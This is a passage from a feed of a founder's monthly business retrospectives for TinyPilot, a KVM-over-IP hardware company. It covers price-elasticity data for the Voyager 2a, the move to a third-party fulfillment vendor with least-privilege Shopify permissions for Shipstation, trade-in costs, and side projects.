 &lt;td>$858&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$528&lt;/td>
 &lt;td>Mar. 13 - Mar. 19&lt;/td>
 &lt;td>7&lt;/td>
 &lt;td>1.3&lt;/td>
 &lt;td>$679&lt;/td>
 &lt;td>$480&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$558&lt;/td>
 &lt;td>Mar. 20 - Apr. 10&lt;/td>
 &lt;td>22&lt;/td>
 &lt;td>1.1&lt;/td>
 &lt;td>$609&lt;/td>
 &lt;td>$440&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$638&lt;/td>
 &lt;td>Apr. 11 - May 3&lt;/td>
 &lt;td>23&lt;/td>
 &lt;td>0.9&lt;/td>
 &lt;td>$583&lt;/td>
 &lt;td>$441&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/05/price-profit-poe.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/05/price-profit-poe_hu_720e81aeeccf2fba.webp 300w, https://mtlynch.io/retrospectives/2023/05/price-profit-poe_hu_f253e352df792a6a.webp 600w, https://mtlynch.io/retrospectives/2023/05/price-profit-poe.webp 600w'
 src="https://mtlynch.io/retrospectives/2023/05/price-profit-poe.webp" alt="Graph of price vs. daily revenue and profit for TinyPilot Voyager 2a (PoE)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Customers of the higher-end PoE version seem indifferent to prices between $478 and $528. They bought at roughly the same rate at either price, though the sample size is small.&lt;/p>
&lt;p>The most profitable price was $498, though it&amp;rsquo;s also pretty likely an outlier based on how short the collection period was.&lt;/p>
&lt;h3 id="decision-sell-at-399--99">Decision: Sell at $399 + $99&lt;/h3>
&lt;p>The sweet spot in pricing seems to be selling the base model for $399 and charging +$99 ($498) for the PoE upgrade. TinyPilot saw the most profitable sales at those prices. The sample size is small for that period, but it also seems to be near the top of the curve the other prices suggest.&lt;/p>
&lt;p>The other thing I like about a $399 base price is that it&amp;rsquo;s still within reason &lt;a href="https://mtlynch.io/retrospectives/2023/04/#reflections">for a person like me to buy it&lt;/a>. If I had seen a product like TinyPilot three years ago, I&amp;rsquo;d have thought, &amp;ldquo;Sure, for $399, that&amp;rsquo;s worth it for my &lt;a href="https://mtlynch.io/tags/homelab/">homelab&lt;/a>.&amp;rdquo;&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="screenjournal">&lt;a href="https://thescreenjournal.com">ScreenJournal&lt;/a>&lt;/h3>
&lt;p>I continued working on ScreenJournal, my open-source web app that lets you share movie recommendations with friends.&lt;/p>
&lt;p>The main feature I added in April was enabling users to &lt;a href="https://github.com/mtlynch/screenjournal/pull/173">comment on&lt;/a> &lt;a href="https://github.com/mtlynch/screenjournal/pull/163">other people&amp;rsquo;s movie reviews&lt;/a>. I&amp;rsquo;m not using any kind of commenting package, so the implementation is fully homegrown. Here&amp;rsquo;s what it looks like:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="screenjournal-2023-05-10.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Demo of the commenting feature I added to ScreenJournal in April&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>The other big change I made to ScreenJournal was redesigning my end-to-end tests to &lt;a href="https://github.com/mtlynch/screenjournal/pull/169">run in parallel rather than sequentially&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;ve always struggled with shared database when I&amp;rsquo;m testing my web apps end-to-end. I haven&amp;rsquo;t been able to figure out how other developers work around it.&lt;/p>
&lt;p>Previously, I dealt with the shared state problem by resetting the database before every end-to-end test. That was slow and meant I could only run one test at a time since they&amp;rsquo;re all sharing the same database.&lt;/p>
&lt;p>My current solution is to assign a cookie to each client and associate that cookie with a unique in-memory SQLite database. That means the tests no longer share state through the database, so they can run in parallel. I like this solution better than anything I&amp;rsquo;ve done before, but I still feel like I&amp;rsquo;m reinventing the wheel and am curious if readers know of more established solutions.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Completed the transition to a 3PL warehouse vendor.&lt;/li>
&lt;li>Published TinyPilot Pro 2.5.4.&lt;/li>
&lt;li>Attended Microconf US 2023.&lt;/li>
&lt;li>Hired a new employee for the TinyPilot office.&lt;/li>
&lt;li>Dealt with &lt;a href="https://ssballiance.org/2023/04/18/letter-to-congress/">Section 174 headaches&lt;/a> for my 2022 taxes.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>There are lots of potential employees who are fine with short-term positions.
&lt;ul>
&lt;li>I had avoided hiring a third person because I worried about what to do when demand for the role faded. I realized that I could present it as a short-term position from the start, and there are plenty of candidates who are happy with or even prefer short-term roles.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Onboard the newest TinyPilot employee.&lt;/li>
&lt;li>Reach $90k in revenue.&lt;/li>
&lt;li>Find three homelab bloggers or YouTubers interested in reviewing TinyPilot Voyager 2a.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 33</title><link>https://mtlynch.io/retrospectives/2023/04/</link><pubDate>Thu, 06 Apr 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/04/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve started the process of transitioning TinyPilot&amp;rsquo;s fulfillment to a third-party vendor.&lt;/li>
&lt;li>TinyPilot customers are less sensitive to price than I expected.&lt;/li>
&lt;li>I invested a lot of resources into a trade-in for TinyPilot that I&amp;rsquo;m not sure paid off.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve started the process of transitioning TinyPilot&amp;rsquo;s fulfillment to a third-party vendor.&lt;/li>
&lt;li>TinyPilot customers are less sensitive to price than I expected.&lt;/li>
&lt;li>I invested a lot of resources into a trade-in for TinyPilot that I&amp;rsquo;m not sure paid off.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="transition-fulfillment-of-a-low-volume-product-to-our-new-3pl">Transition fulfillment of a low-volume product to our new 3PL&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Our 3PL vendor has been fulfilling Power Connector orders for three weeks.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>There were a few rough edges to smooth out, but we successfully transitioned our first product.&lt;/p>
&lt;h3 id="present-at-nerd-summit-2023">Present at &lt;a href="https://nerdsummit.org/">NERD Summit 2023&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I presented my talk and felt good about the delivery.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>It was fun to be back at NERD Summit in person for the first time since 2019. There were a lot of cool talks and fun hallway conversations.&lt;/p>
&lt;h3 id="reduce-load-on-fulfillment-team-so-that-reactive-tasks-occupy-less-than-80-of-their-time">Reduce load on fulfillment team so that reactive tasks occupy less than 80% of their time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: This was mostly successful but hard to measure.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>In order to transition to the 3PL, we needed to free up the local team&amp;rsquo;s workload enough that they could build an extra week&amp;rsquo;s worth of devices. We took several measures to reduce their load, though they also worked more hours than usual.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2023&lt;/th>
 &lt;th>March 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>12,141&lt;/td>
 &lt;td>7,443&lt;/td>
 &lt;td>&lt;font color="red">-4,698 (-39%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>23,117&lt;/td>
 &lt;td>17,904&lt;/td>
 &lt;td>&lt;font color="red">-5,213 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$72,585.15&lt;/td>
 &lt;td>$86,803.78&lt;/td>
 &lt;td>&lt;font color="green">+$14,218.63 (+20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,935.73&lt;/td>
 &lt;td>$4,820.75&lt;/td>
 &lt;td>&lt;font color="green">+$885.02 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$76,811.58&lt;/td>
 &lt;td>$91,915.23&lt;/td>
 &lt;td>&lt;font color="green">+$15,103.65 (+20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32,905.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$43,952.10&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$11,046.55 (+34%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Switching TinyPilot&amp;rsquo;s case from plastic to metal dramatically increased demand. Even as I increase prices and reduce marketing to near zero, sales volume keeps increasing.&lt;/p>
&lt;p>My goal for the year is to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#earn-100k-in-profit">reach $100k in profit&lt;/a>, but we&amp;rsquo;re already 75% there. At this rate, we&amp;rsquo;ll hit $100k in annual profit before the end of April.&lt;/p>
&lt;h2 id="the-hiccups-in-transitioning-to-a-3pl-vendor">The hiccups in transitioning to a 3PL vendor&lt;/h2>
&lt;p>My top priority is to transition TinyPilot&amp;rsquo;s fulfillment to a third-party logistics (3PL) vendor. The 3PL&amp;rsquo;s job is to keep finished products in their warehouse and then pick, pack, and ship products when orders come in.&lt;/p>
&lt;p>To start the process, we gave the 3PL our lowest-volume product, the &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">TinyPilot Power Connector&lt;/a>. It&amp;rsquo;s for users who build their own TinyPilot devices, and we don&amp;rsquo;t advertise it on our website. We only sell 20-30 per month.&lt;/p>
&lt;p>The Power Connector offered a low-risk way to test our new 3PL end-to-end before transitioning all orders over to them. This exercise uncovered several issues, so I was glad we started with a limited test.&lt;/p>
&lt;h3 id="everyone-just-gives-us-their-admin-password">&amp;ldquo;Everyone just gives us their admin password&amp;rdquo;&lt;/h3>
&lt;p>The first challenge was synchronizing TinyPilot&amp;rsquo;s order system with the 3PL&amp;rsquo;s. TinyPilot uses Shopify, one of the most popular eCommerce platforms in the US. Our 3PL uses Shipstation to manage orders. Shipstation is fairly popular, and I&amp;rsquo;ve heard positive things about it, so I thought it would be trivial to integrate Shopify with Shipstation.&lt;/p>
&lt;p>My &lt;a href="https://mtlynch.io/retrospectives/2023/02/#hiccups-in-transitioning-to-a-3pl-vendor">previous 3PL&lt;/a> had a similar order management system. To integrate with it, I installed an app in Shopify and pasted in the 3PL&amp;rsquo;s access key. It was easy.&lt;/p>
&lt;p>When my new 3PL sent instructions for integrating Shipstation with my Shopify account, they suggested I either give them my root admin credentials for Shopify or create a new admin account for them.&lt;/p>
&lt;p>That couldn&amp;rsquo;t be right.&lt;/p>
&lt;p>I checked &lt;a href="https://help.shipstation.com/hc/en-us/articles/360026141491-Shopify">Shipstation&amp;rsquo;s documentation&lt;/a> and couldn&amp;rsquo;t figure out how to link the two accounts. Shipstation assumes that the same person owns both the Shopify account and the Shipstation account, which wasn&amp;rsquo;t true in our case.&lt;/p>
&lt;p>Shipstation&amp;rsquo;s design put us in a deadlock. I couldn&amp;rsquo;t link to the 3PL&amp;rsquo;s Shipstation account because I didn&amp;rsquo;t have their Shipstation admin credentials. The 3PL couldn&amp;rsquo;t link to TinyPilot&amp;rsquo;s Shopify store because they didn&amp;rsquo;t have my Shopify admin credentials.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to give the 3PL full admin rights on TinyPilot&amp;rsquo;s Shopify, and I certainly didn&amp;rsquo;t want to hand over credentials to my own account.&lt;/p>
&lt;p>Instead, I created my own Shipstation account and a dummy Shopify user account with limited permissions. Then, I repeatedly tried to link TinyPilot&amp;rsquo;s Shopify account with my test Shipstation account using the dummy Shopify user account.&lt;/p>
&lt;p>Through trial and error, I figured out the smallest set of permissions the Shopify user account needed to link a Shipstation account. Once I figured it out, I created a limited account for the 3PL in TinyPilot&amp;rsquo;s Shopify with a minimal set of permissions.&lt;/p>
&lt;p>If anyone discovers this post who&amp;rsquo;s in the same boat with Shopify and Shipstation, the permissions needed to link Shipstation from Shopify are:&lt;/p>
&lt;ul>
&lt;li>Orders
&lt;ul>
&lt;li>Edit orders&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>View products&lt;/li>
&lt;li>Customers&lt;/li>
&lt;li>Manage settings&lt;/li>
&lt;li>Manage and install apps and channels&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/04/shipstation-permissions.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/04/shipstation-permissions_hu_cdbaebb894fdd045.png 300w, https://mtlynch.io/retrospectives/2023/04/shipstation-permissions_hu_306fdd81a5eaced0.png 600w, https://mtlynch.io/retrospectives/2023/04/shipstation-permissions_hu_b128ea8d3cce5cef.png 800w, https://mtlynch.io/retrospectives/2023/04/shipstation-permissions.png 864w'
 src="https://mtlynch.io/retrospectives/2023/04/shipstation-permissions.png" alt="Screenshot of Shopify permissions for user to integrate with Shipstation" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The minimal set of Shopify permissions a user must have to link to a Shipstation account&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I was surprised the process of integrating Shopify with the 3PL&amp;rsquo;s Shipstation account was so complicated. The 3PL told me that they have dozens of Shopify customers, so I asked how they&amp;rsquo;d solved this process in the past.&lt;/p>
&lt;p>&amp;ldquo;Everyone just gives us their admin password,&amp;rdquo; the 3PL manager told me. She explained that most of their customers aren&amp;rsquo;t particularly tech-savvy, so they don&amp;rsquo;t find it unusual to offer their Shopify credentials to the vendor managing their fulfillment.&lt;/p>
&lt;h3 id="should-we-pay-150-to-ship-this-50-order">Should we pay $150 to ship this $50 order?&lt;/h3>
&lt;p>The next hitch in our transition came when we received an order from Australia. Shipping rates to Australia are one of the highest of any country that TinyPilot serves. Shipping a TinyPilot Power Connector within the US costs a few dollars, but shipping it to Australia costs $50.&lt;/p>
&lt;p>The 3PL reported that it would cost them $150 to ship this order, but the customer had only paid $50. It turns out that TinyPilot has been paying discounted rates for DHL&amp;rsquo;s international shipping because Shopify negotiates a better rate on our behalf. The 3PL didn&amp;rsquo;t have a discounted rate with DHL, so they would have had to pay $150 for the postage to Australia.&lt;/p>
&lt;p>If the 3PL purchased the standard postage, I&amp;rsquo;d be eating the $100 delta. The order would leave me $50 poorer than if the customer hadn&amp;rsquo;t ordered at all.&lt;/p>
&lt;p>Losing money on a single order wouldn&amp;rsquo;t be such a big deal, but it indicated a deeper problem. The shipping prices that TinyPilot customers were seeing at checkout were based on Shopify&amp;rsquo;s shipping rates. I needed customers to see the shipping rates for my 3PL instead.&lt;/p>
&lt;p>Again, I asked, &amp;ldquo;What do your other customers do?&amp;rdquo;&lt;/p>
&lt;p>The 3PL manager said their other customers either offer free shipping or set flat pricing per country that&amp;rsquo;s independent of the size and weight of the shipment.&lt;/p>
&lt;p>Estimating prices like that wouldn&amp;rsquo;t be a dealbreaker, but it felt sloppy. We&amp;rsquo;d always be guessing, and there were sure to be situations where we were substantially undercharging or overcharging customers for shipping. TinyPilot&amp;rsquo;s current setup lets customers choose their courier based on the exact shipping cost, and I wanted to preserve that.&lt;/p>
&lt;p>I saw from Shipstation&amp;rsquo;s documentation that it could share shipping rates with Shopify, so it seemed possible. The 3PL said they&amp;rsquo;d never done it before, but they were willing to explore it. A few hours later, the 3PL manager called me to say that it was possible from Shipstation&amp;rsquo;s end, but my Shopify billing tier didn&amp;rsquo;t support it.&lt;/p>
&lt;p>I looked at Shopify&amp;rsquo;s feature page and confirmed that the &amp;ldquo;Third-party calculated shipping rates&amp;rdquo; was only available in Shopify&amp;rsquo;s Advanced plan:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 1010px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1010px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates_hu_bb19034de7b9dcb4.webp 300w, https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates_hu_ac08bc5fcaac49f5.webp 600w, https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates_hu_3abb8cce9c375922.webp 800w, https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates.webp 1008w'
 src="https://mtlynch.io/retrospectives/2023/04/third-party-shipping-rates.webp" alt="Screenshot of Shopify plans showing that third-party shipping rates are only available on Shopify&amp;#39;s Advanced plan" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Shopify will only fetch third-party shipping rates on their $399/mo Advanced plan.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That would take TinyPilot from Shopify&amp;rsquo;s $105/mo tier to a whopping $399/mo plan, making Shopify TinyPilot&amp;rsquo;s most expensive cloud service.&lt;/p>
&lt;p>I was still on the phone with the 3PL manager while I figured this all out. Somewhat impulsively, I upgraded right then and there.&lt;/p>
&lt;p>I&amp;rsquo;d made a big fuss about the shipping rates, so I was too embarrassed to back out at that point. But I did deliberately sign up for the monthly rate so I could change my mind later.&lt;/p>
&lt;p>In retrospect, I still think the Shopify Advanced plan is worth it. I really didn&amp;rsquo;t want to go country-by-country estimating shipping fees and adjusting them as the market fluctuated. And I&amp;rsquo;ll make some of my money back because the high-tier plan reduces credit card fees by 0.2%. Using TinyPilot&amp;rsquo;s revenue from last year, the fee discounts would have translated to about $2k less in credit card fees, so I&amp;rsquo;m at least getting back some of the $4,800/year I&amp;rsquo;m spending on this ridiculous plan.&lt;/p>
&lt;h2 id="how-elastic-is-the-demand-for-tinypilot">How elastic is the demand for TinyPilot?&lt;/h2>
&lt;p>TinyPilot&amp;rsquo;s current &lt;a href="https://mtlynch.io/book-reports/the-goal/#two-types-of-resources">constraint&lt;/a> is manufacturing capacity. We&amp;rsquo;re still assembling devices in-house, but orders are coming in about as quickly as TinyPilot&amp;rsquo;s staff can build devices.&lt;/p>
&lt;p>If we&amp;rsquo;re going to transition all of our products to the 3PL, it&amp;rsquo;s not enough to keep up with orders. We need to build up at least a week&amp;rsquo;s worth of surplus Voyager 2a devices to send to the 3PL&amp;rsquo;s warehouse. To slow down sales, I tried increasing TinyPilot&amp;rsquo;s pricing, which yielded some interesting data.&lt;/p>
&lt;p>In economics, the &amp;ldquo;elasticity&amp;rdquo; of a product indicates how sensitive consumers are to its price. Uber rides are a good example of an elastic product. If rides are cheap, you&amp;rsquo;ll pay for the convenience, but if prices go up 10x, you&amp;rsquo;ll probably take public transportation instead.&lt;/p>
&lt;p>So, how sensitive are TinyPilot customers to price?&lt;/p>
&lt;h3 id="voyager-2a-usb-c">Voyager 2a USB-C&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Time Period&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;th>Sales Volume&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Feb. 13 - Mar. 6&lt;/td>
 &lt;td>$379&lt;/td>
 &lt;td>110 (5.0/day)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mar. 7 - Mar. 12&lt;/td>
 &lt;td>$399&lt;/td>
 &lt;td>34 (5.7/day)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mar. 13 - Mar. 30&lt;/td>
 &lt;td>$429&lt;/td>
 &lt;td>65 (3.6/day)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/04/elasticity-usbc.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/04/elasticity-usbc_hu_4b9aec8b26a22285.png 300w, https://mtlynch.io/retrospectives/2023/04/elasticity-usbc_hu_ef52651c544b8415.png 600w, https://mtlynch.io/retrospectives/2023/04/elasticity-usbc.png 600w'
 src="https://mtlynch.io/retrospectives/2023/04/elasticity-usbc.png" alt="Graph of price elasticity for TinyPilot Voyager 2a (USB-C)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="voyager-2a-poe">Voyager 2a PoE&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Time Period&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;th>Sales Volume&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Feb. 13 - Mar. 6&lt;/td>
 &lt;td>$478&lt;/td>
 &lt;td>29 (1.3/day)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mar. 7 - Mar. 12&lt;/td>
 &lt;td>$498&lt;/td>
 &lt;td>15 (2.5/day)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mar. 13 - Mar. 19&lt;/td>
 &lt;td>$528&lt;/td>
 &lt;td>9 (1.3/day)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mar. 20 - Mar. 30&lt;/td>
 &lt;td>$558&lt;/td>
 &lt;td>13 (1.2/day)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/04/elasticity-poe.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/04/elasticity-poe_hu_adf1be7db5ed0767.png 300w, https://mtlynch.io/retrospectives/2023/04/elasticity-poe_hu_140836eba5e99292.png 600w, https://mtlynch.io/retrospectives/2023/04/elasticity-poe.png 600w'
 src="https://mtlynch.io/retrospectives/2023/04/elasticity-poe.png" alt="Graph of price elasticity for TinyPilot Voyager 2a (PoE)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="reflections">Reflections&lt;/h3>
&lt;p>My sample is too small to make any strong claims, but the data suggest that TinyPilot&amp;rsquo;s customers are less sensitive to price than I expected. Demand for the PoE model seems especially inelastic, as customers bought at roughly the same rate even when I raised the price by $80 (17%).&lt;/p>
&lt;p>The capitalist in me wants to keep raising prices to maximize profits. The enthusiast in me wants to keep it affordable for casual users.&lt;/p>
&lt;p>I was recently re-reading my blog post about &lt;a href="https://mtlynch.io/tinypilot/#commercial-solutions">creating the first TinyPilot prototype&lt;/a> and noticed this paragraph:&lt;/p>
&lt;blockquote>
&lt;p>Next, I looked at commercial KVM over IP solutions. They provide similar functionality to Dell’s iDRAC, but&amp;hellip; they&amp;rsquo;re even more expensive, ranging in price from $500 to $1000 per unit.&lt;/p>&lt;/blockquote>
&lt;p>Now &lt;em>I&amp;rsquo;m&lt;/em> the expensive commercial KVM over IP solution!&lt;/p>
&lt;p>Perhaps irrationally, I want a TinyPilot offering that would have appealed to the version of me from 2020 who just wants an easy way to manage a &lt;a href="https://mtlynch.io/tags/homelab/">home server&lt;/a> without spending a fortune.&lt;/p>
&lt;p>I think the higher price makes sense now while TinyPilot is constrained in both &lt;a href="https://mtlynch.io/retrospectives/2023/01/#losing-450k-in-a-single-email">supply&lt;/a> and production speed, but I&amp;rsquo;m hoping I can eventually reduce prices again and make it up in volume.&lt;/p>
&lt;h2 id="were-trade-ins-a-dumb-idea">Were trade-ins a dumb idea?&lt;/h2>
&lt;p>Every time TinyPilot releases a new hardware version, customers ask if they can trade in their old devices for the newest model. In the past, I&amp;rsquo;ve told them we don&amp;rsquo;t have a process for trade-ins, but I&amp;rsquo;ll offer a generous discount on the new version.&lt;/p>
&lt;p>This year, TinyPilot&amp;rsquo;s primary constraint is the &lt;a href="https://mtlynch.io/retrospectives/2023/01/#losing-450k-in-a-single-email">availability of Raspberry Pis&lt;/a>. Because of that, I&amp;rsquo;m trying to maximize the amount TinyPilot can earn from our limited supply of Pis.&lt;/p>
&lt;p>Instead of offering customers a discount on new devices, I had the brilliant idea of offering trade-ins. The customer would send their device to us, we&amp;rsquo;d recycle as many parts as possible to convert it to a Voyager 2a, then send it back. Every TinyPilot product has used the same model of Raspberry Pi, so we&amp;rsquo;d reward loyal customers without using up any new Pis.&lt;/p>
&lt;p>The trade-in process turned out to be more complicated and labor-intensive than I expected.&lt;/p>
&lt;p>A lot of customers rely on their TinyPilots for day-to-day work, so they didn&amp;rsquo;t want to send in their device without a replacement in-hand. In those cases, we sold them a Voyager 2a made from refurbished parts, then gave them a partial refund when we received their trade-in.&lt;/p>
&lt;p>And then there were customers who had multiple TinyPilot devices and needed all of them online. So, we&amp;rsquo;d send them a refurbished device, they&amp;rsquo;d send back a legacy device, we&amp;rsquo;d convert that to the newest version, send it back to them, then they&amp;rsquo;d send their next device, then repeat until we&amp;rsquo;d replaced all their devices. Some customers had four devices we replaced this way.&lt;/p>
&lt;p>All the trade-ins went smoothly, but they were a lot more work than I expected.&lt;/p>
&lt;p>It&amp;rsquo;s hard to weigh the tradeoffs of this decision because the upside is intangible — we&amp;rsquo;re rewarding customers who stick with us and want to support the product. The downsides of the trade-ins were very tangible, however. Trade-ins took, on average, 2-3x longer to process than normal sales, and we did them basically at cost.&lt;/p>
&lt;p>If TinyPilot makes a profit of $300-400 on each standard sale, and each trade-in prevented us from making ~2.5 sales, each trade-in cost us $750-$1k. We did 22 trade-ins in total, so the trade-in program cost around $19k.&lt;/p>
&lt;p>If I had to do it over, I would have still offered the trade-ins, but with these adjustments:&lt;/p>
&lt;ul>
&lt;li>Don&amp;rsquo;t advertise trade-ins broadly, but work with customers who ask.&lt;/li>
&lt;li>Use a separate support queue for trade-in requests, and set expectations that there might be a wait of a few weeks before we start the process with each customer.&lt;/li>
&lt;/ul>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="reimplementing-a-zestful-microservice-in-go">Reimplementing a Zestful microservice in Go&lt;/h3>
&lt;p>Back in 2018, when I was &lt;a href="https://mtlynch.io/retrospectives/2018/07/">launching Zestful&lt;/a>, my recipe ingredient parsing service, I wanted a low-friction way for prospective customers to try out the service. Other services required you to create an account or put in a credit card, but I wanted to offer a &lt;a href="https://zestfuldata.com/demo">no-friction demo&lt;/a> on the Zestful website:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/04/zestful-demo.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
